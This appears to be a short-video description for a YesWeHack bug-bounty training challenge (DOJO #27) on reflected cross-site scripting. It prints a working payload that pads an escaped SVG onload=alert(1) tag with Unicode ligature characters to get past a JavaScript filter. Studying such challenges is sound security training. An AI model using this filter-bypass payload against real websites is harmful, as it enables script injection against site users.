YesWeHack WhazzUP DOJO #27 #shorts #yeswehack
Reflected XSS challenge - Abusing unicode feature in javascript
Full Video: • Bug Bounty YesWeHack XSS Challenge WhazzUP...
Payload: \ufb00\ufb00\ufb00\ufb00\u003csvg \ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00\ufb00/onload=alert(1)\u003e
Cross site scripting javascript
XSS
RXSS
#xss #bugbountytips